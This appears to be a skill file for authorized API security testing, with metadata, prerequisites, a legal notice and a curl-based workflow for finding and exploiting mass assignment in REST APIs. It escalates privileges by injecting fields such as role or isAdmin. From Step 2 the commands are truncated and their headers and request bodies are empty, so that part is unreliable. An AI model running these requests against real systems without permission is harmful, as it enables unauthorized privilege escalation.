exploiting-mass-assignment-in-rest-apis

name	exploiting-mass-assignment-in-rest-apis
description	Discovers and exploits mass assignment (autobinding) in REST APIs by injecting unexpected or hidden parameters (e.g. role, isAdmin, plan) into create/update requests, using Burp Suite Intruder, Arjun, and param-miner to find bindable fields on ORM-backed endpoints (Rails, Django, Laravel, Spring). Use when testing REST APIs for privilege escalation or authorization bypass via unintended parameter binding.
domain	cybersecurity
subdomain	web-application-security
tags	["mass-assignment","api-security","privilege-escalation","rest-api","autobinding","parameter-injection","owasp-api"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083","T1068"]

Exploiting Mass Assignment in REST APIs

When to Use

• When testing REST APIs that accept JSON input for creating or updating resources
• During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
• When testing user registration, profile update, or account management endpoints
• During bug bounty hunting on applications with CRUD API operations
• When evaluating role-based access control implementation in API-driven applications

Prerequisites

• Burp Suite or Postman for API request crafting and interception
• Understanding of ORM auto-binding behavior in common frameworks
• API documentation or endpoint discovery through reconnaissance
• Multiple user accounts with different privilege levels for testing
• Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
• Arjun or param-miner for hidden parameter discovery

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Discover API Structure and Fields

# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance

# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates

Step 2 — Test Privilege Escalation via Role Fields

# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d 


curl -X PATCH http://target.com/api/users/me \
  -H  \
  -H  \
  -d 

curl -X PATCH http://target.com/api/users/me \
  -H  \
  -H  \
  -d 


curl -X POST http://target.com/api/register \
  -H  \
  -d